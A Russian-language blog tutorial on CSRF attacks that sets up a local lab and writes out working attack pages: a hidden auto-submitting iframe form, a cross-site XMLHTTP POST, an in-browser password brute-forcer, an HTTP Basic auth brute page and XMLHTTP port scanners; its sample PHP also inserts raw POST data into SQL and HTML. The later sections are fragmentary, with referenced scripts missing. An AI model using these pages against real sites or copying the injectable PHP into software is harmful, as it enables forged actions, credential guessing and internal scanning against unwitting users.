CSRF – атаки. (Cross-Site Request Forgery) |
CSRF расшифровывается как “Cross-Site Request Forgery” (Межсайтовая подделка запроса) . Данный тип атак направлен на имитирование запроса пользователя к стороннему сайту. Эта уязвимость достаточно широко распространена из за особенностей архитектуры большинства веб-приложений. А именно из-за того, что многие веб-приложения не чётко определяют - действительно ли запрос сформирован настоящим пользователем.
Как пример можно взять процедуру изменение профиля в IPB или phpBB - при изменении номера ICQ или адреса домашней странички у Вас не спрашивают ни пароля, ни кода с какой ни будь картинки. То есть единственное средство распознавания клиента – cookies или сессия (ну иногда ещё referer). Соответственно если с помощью определённого кода заставить браузер отправить нужный нам запрос на сторонний сайт, то запрос может вполне нормально пройти даже к тем скриптам, в которых нужна авторизация – ведь браузер при запросах к сайту отправляет ему и cookies. Главное чтоб пользователь заранее был авторизирован.
В свете того, что большую популярность приобретает технология AJAX, основывающаяся на формировании и отправке HTTP запросов на стороне пользователя, данная атака становится более распространённой и, возможно, в ближайшем будущем CSRF – уязвимость будет так же популярна как сейчас XSS.
Ниже мы будем рассматривать имитирование отправки запроса пользователем с помощью трёх способов:
* С помощью уже знакомого нам тэга 'IFrame'
* C помощью компонента XMLHTTP.
* С помощью Flash-ролика.
Мы будем работать с POST запросами. Думаю имитация GET-запроса не составит особого труда, хотя бы с помощью тэга <img>
Первый вариант может быть использован как с IE, так и с FireFox (думаю Opera тоже ругаться не станет). Что, в принципе нам только на руку. А вот со вторым вариантом есть один нюанс: FireFox не разрешает формировать запросы, с помощью компонента XMLHttpRequest, которые идут на другие сайты. То есть запросы с помощью данного компонента можно отправлять только в пределах одного домена.
Для практики мы соорудим один хост (targethost) который будет играть роль жертвы. Атакуемого и атакующего людей будем играть мы. Далее мы напишем скрипт который будет принимать POST-запросы и попробуем с другого сайта (evilhost) отправить запрос на целевой сайт. Приступим.
Создание тренировочной площадки.
Для начала создайте в Denver`e хост targethost. Он будет играть роль сайта, на который отправится поддельный запрос. Далее создайте в базе site (где у нас хранится таблица с новостями для тренинга в SQL-inj) таблицу messages с полями:
* sender – тип varchar, длинна 50.
* client – тип varchar, длинна 50.
* text – тип text
В эту таблицу будут помещаться сообщения, пришедшие от пользователя.
Теперь нам нужно написать скрипт который и будет принимать сообщения, и заносить их в базу. Вот его код (messenger.php):
<?php
// Функция показа формы отправки сообщения.
function mess_form(){
print "<form action=messenger.php method=POST>
From:<input name=from type=text><br>
To:<input name=to type=text><br>
<textarea name=body cols=10 rows=20></textarea><br>
<input type=submit>
</form>
";
// После показа формы прерываем выполнение скрипта
exit;
}
// Переменные нужные для подключения к БД.
// В переменную $pass поместите Ваш пароль для подключения
// к mysql
$db='site';
$user='root';
$pass=''; // Сюда введите свой пароль для подключения к MySQL
$host='localhost';
// Если хотя бы одно из полей пусто то
// показываем форму отправки сообщения
if ($_POST['from']=='' || $_POST['to']=='' || $_POST['body']=='' ) mess_form();
// Если всё нормально - соединяемся с базой
$conn=mysql_connect($host,$user,$pass);
mysql_select_db($db);
// И вставляем в таблицу messages новое сообщение.
mysql_query("INSERT INTO messages(sender,client,text) VALUES('".$_POST['from']."','".$_POST['to']."','".$_POST['body']."')") or die(mysql_error());
// Закрываем соединение с базой.
mysql_close($conn);
// Выводим переданные данные на экран
print "<b>Сообщение отправлено.</b><br>";
print "<b>От:</b>".$_POST['from'];
print "<br><b>Кому:</b>".$_POST['to'];
print "<br><b>Текст:</b>".$_POST['body'];
?>
Для проверки работоспособности скрипта пройдите по ссылкеhttp://targethost/messenger.php
заполните форму и отправьте сообщение. Затем через PhpMyAdmin, или через обычный mysql-клиент, убедитесь в том, что сообщение нормально сохранилось в базе.
Тренировочная площадка работает. Теперь нужно сымитировать атаку.
Практика.
Действовать мы будет так: создадим на evilhost скрипт, который сформирует поддельный запрос и отправит его на targethost.
Сначала реализуем атаку с помощью IFrame. Для этого нам нужно будет включить в код странички тэг IFrame, а далее загрузить в него код формы, которая затем будет заполнена и отправлена. Мы создадим на сервере страничку с кодом формы и укажем её как документ для загрузки в IFrame. Код формы(form.html):
<form action=http://targethost/messenger.php method=POST><input name=from type=text value=kuzya><br><input name=to type=text value=inattack.ru><br><input name=body type=text value=CSRFF><br><input type=submit></form>
Вот код основной странички(danger_iframe.html):
<html><head><title>Danger Page (IFrame)</title></head><body><!—Фрейм невидимый, при его загрузке вызывается функция работы с формой--><iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe></body></html>
Вот код функции submit_form() которая будет вызываться при загрузке фрейм:
function submit_form(){
window.evilframe.document.forms[0].submit();
}
Как видите – в свойстве action нашей формы указан URL скрипта отправки сообщений и все поля заранее заполнены. Включите код этой функции в любой части странички между тегами <script></script>. Когда всё будет готово - обратитесь по адресу:http://evilhost/danger_iframe.html
При загрузке странички сработает JS-код и форма с данными отправится. Для большей убедительности проверьте - появилась ли новая запись в базе.
Далее на очереди компонент XMLHTTP.
Как я уже писал ранее – компонент XMLHTTP служит для формирования и отправки http-запросов на стороне клиента. В начале кода нам нужно определить данный компонент, затем указать необходимые для передачи данные, ну и осуществить этот запрос. Для начала определим пустую переменную browser и далее объявим её как нужный нам объект:
Мы работаем с ActiveX только по тому что будем использовать IE. В Mozilla это будет выглядеть следующим образом: browser=new XMLHttpRequest; Затем нам нужно использовать метод open() нашего объекта browser что бы указать куда и каким методом мы будем слать данные. Далее в поле Content-type нашего запроса укажем что отсылаются данные, отправленные из формы. Ну и наконец, отправим запрос. Вот код нашей злонамеренной странички (danger_xmlhttp.html), в комментариях более подробные объяснения к коду:
<html><head><title>Danger page!</title></head><body><script>// Устанавливаем параметры которые мы будем передаватьvar params="from=kuzya&to=inattack&body=csrf";// Определяем переменную browser как компонент// нужный для отправки запросов.browser= new ActiveXObject("Microsoft.XMLHTTP");// Обращаемся к нашему скрипту отправки сообщений// и указываем метод передачи данных(POST)browser.open("POST","http://targethost/messenger.php",true);// Указываем тип отправляемых данныхbrowser.setRequestHeader("Content-type", "application/x-www-form-urlencoded");// Отправляем параметры.browser.send(params);</script></body></html>
Обратитесь к этой страничке и проверьте работу скрипта. Сообщение записалось в базу, всё ок!
Реализация отправки запросов через Flash.
Теперь давайте рассмотрим реализацию данной атаки с помощью Flash- ролика. Можно использовать старый ролик который мы использовали для практики XSS-нападений. Для атаки, как Вы наверное уже догадались, будем использовать ActionScript. Нас интересует методы формирования и отправки HTTP-запроса во Flash. Весь код мы будем сохранять в том же flash-ролике на котором ставили эксперименты связанные с XSS. Вот пример кода который осуществит GET-запрос:
Обратите внимание на параметры передаваемые методу send() - первый параметр это URI который надо запросить (http://www.site.com/script.php?name=inattack), второй параметр пуст, он отвечает за окно в котором будет отображён результат запроса – в нашем случае он будет отображён в этом же окне. А вообще второй параметр может принимать следующие значения:
* _self – аналог пустого параметра, результат запроса отображается в том же окне где отображался ролик.
* _blank - результат запроса отобразится в новом окне.
* _parent - результат отображается как родительский элемент текущего фрейма.
* _top - результат отображается во фрейме высшего уровня.
Теперь давайте разберёмся с осуществлением POST-запроса. Всё почти то же самое, только метод передачи данных меняется с GET на POST и добавляется новая строчка с методом decode(), он используется для обработки POST-данных. Давайте сымитируем запрос к нашему messenger.php:
Пройдите по адресу
http://localhost/swf.html
И проверьте произошла ли запись в таблицу сообщений.
Несколько примеров реального применения CSRF-атак на практике.
Подделка запросов с сообщениями – это конечно хорошо, но это не все возможности CSRF-атак. Давайте рассмотрим возможности которые даёт нам компонент XMLHTTP. А возможности данного компонента очень широки. Вообще, когда я писал некоторые примеры из этой статьи то я хотел включить их в статью “XSS. Практические примеры.”, но в этот же день я заглянул на http://securitylab.ru и нашёл интересную статью про CSRF-атаки (http://www.securitylab.ru/analytics/292473.php). А понравилось мне следующее: автор утверждал, что с помощью вышеупомянутого компонента можно даже проводить сканирование портов. Это было интересно, но не было примеров кода который выполнит данную задачу. Соответственно хоть как то представить себе реализацию подобных атак было сложно. Для того, что бы и Вы не столкнулись с подобной проблемой, я решил собственноручно изучить некоторые методы атак с помощью XMLHTTP и описать их ниже.
Подбор пароля скрипту авторизации.
Ниже будет рассмотрен пример подбора пароля к скрипту, к которому данные передаются через форму.
Мы конечно же могли бы просто через iframe включать страничку формы в основной код страницы и отправлять её, заполнив определёнными данными, а далее искать в полученном коде определённые признаки удачной или не удачной авторизации.
Но в этом случае есть один неприятный момент – система безопасности браузера не позволит Вам обратится к коду фрейма у которого источник – сторонний сайт. То есть Вы в лучшем случае сможете проанализировать результат только визуально. Я хочу предложить способ немного сложнее но действеннее - с помощью компонента XMLHTTP отправлять POST-запросы к скрипту авторизации и анализировать полученный ответ.
Для тренировки мы будем использовать следующий скрипт который будет находится на хосте targethost(html_auth.php):
<?php
error_reporting(0);
# Логин и пароль
$login='Kuzya';
$password='inattack';
# функция показа формы
function show_form(){
print "<html>
<head>
<title>Test html-auth form.</title>
</head>
<body>
<form action=html_auth.php method=post>
<input type=text name=login>
<input type=password name=password>
<input type=submit>
</form>
</body>
</html>";
}
if ($_POST['login']==$login && $_POST['password']==$password){
print "Yes";
} else {
print "No";
show_form();
}
?>
Как видите – логин: Kuzya, пароль:inattack. Если всё введено верно - скрипт выводит надпись “Yes”. Если же логин или пароль неверны - скрипт выведет “No” и отобразит форму. Ниже приведён код странички (html_auth_brute.html) которая хранится в корне evilhost.
Думаю комментариев внутри кода будет достаточно для понимания:
code:
<html>
<head>
<title>html-form bruter</title>
<script>
// Логин
var login="Kuzya";
// Массив с тремя паролями
var passwords = new Array();
passwords[0]="blah";
passwords[1]="inattack";
passwords[2]="hacking"
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now="";
// Функция подбора пароля
function brute(){
for (var i = 0; i <= passwords.length; i++){
// заносим в переменную now текущий пароль
now=passwords[i];
// Пытаемся авторизироваться с помощью функции tryLogin()
tryLogin(passwords[i]);
}
}
// Функция попытки авторизации
function tryLogin(pass){
// Указываем метод передачи данных и цель.
browser.open("POST","http://targethost/html_auth.php",false);
// Анализировать ответ будет функция analysfunc
browser.onreadystatechange=analysfunc;
// Изменяем заголовок content-type
browser.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Отправляем запрос
browser.send("login=Kuzya&password="+pass);
}
function analysfunc(){
// Если ответ пришёл и его содержимое – слово “Yes”
// то с помощью функции alert() выводим пароль, который хранится
// в переменной now.
if (browser.readyState==4 && browser.responseText=="Yes"){
alert(now);
}
}
</script>
</head>
<!--Как только страничка загружена вызываем функцию brute() -->
<body onLoad="brute();">
</body>
</html>
<?php
$name='Kuzya'; // логин пользователя (user login)
$pass='hack'; // пароль пользователя (user password)
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) {
header('WWW-Authenticate: Basic realm="TestAuth"');
header('HTTP/1.0 401 Unauthorized');
exit("<b>Access Denied</b>");
}
?>
<html><head> <title>auth brute page!</title> <script src=auth_brute_code.js></script></head><body><!-- Первой вызываем функцию получения списка паролей --><!-- а она уже вызывает функцию перебора. --><input type=button onClick="getPasswordsList();" value="Brute!"></body></html>
<html><head> <title></title> <script>// Объявляем нужные переменныеvar host = ""; var port = "";var browser = null;var main_div = null;// Фунция сканирования портаfunction scanPort(){// Берём данные из формы (хост/порт)host = document.forms[0].host.value;port = document.forms[0].port.value;browser = new ActiveXObject("Microsoft.XMLHTTP");browser.open("GET","http://"+host+":"+port, true);browser.onreadystatechange=analysfunc; browser.send(null); }// Функция которая покажет нам все этапы осуществления запросаfunction analysfunc(){ main_div = document.getElementById("main_div");main_div.innerHTML+=browser.readyState+"<br>";if(browser.readyState==4){ main_div.innerHTML+="Status:"+browser.status+"<br>";main_div.innerHTML+="Response:"+browser.responseText+"<br>";main_div.innerHTML+="Status text:"+browser.statusText+"<br>"; } }</script></head><body><form>Host:<input type=text name=host value=localhost><br>Port:<input type=text name=port><br><input type=button onClick=scanPort();value=scan></form><hr><div id=main_div></div></body></html>
<html><head> <title></title> <script>var host = ""; var port = ""; var browser = null;var main_div = null;var answer = 0; function check(){ if (browser.readyState == 4){alert("open!");} else {alert("close!"); } }function scanPort(){ host = document.forms[0].host.value;port = document.forms[0].port.value;browser = new ActiveXObject("Microsoft.XMLHTTP");browser.open("GET","http://"+host+":"+port, true);browser.onreadystatechange=analysfunc; browser.send(null);// Заводим таймер на 1 секундуvar t = window.setTimeout(check,1000); }function analysfunc(){ main_div = document.getElementById("main_div");main_div.innerHTML+=browser.readyState+"<br>";if(browser.readyState==4){ main_div.innerHTML+="Status:"+browser.status+"";main_div.innerHTML+="Response:"+browser.responseText+"";main_div.innerHTML+="Status text:"+browser.statusText+""; } }</script></head><body><form>Host:<input type=text name=host value=localhost><br>Port:<input type=text name=port><br><input type=button onClick=scanPort();value=scan></form><hr><div id=main_div></div></body></html>
<html><head> <script src=cgi_scan.js ></script></head><body onLoad="getDirList();StartScan();";><div id="main_div"></div></body></html>
Рубрики: | полезная информация |
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |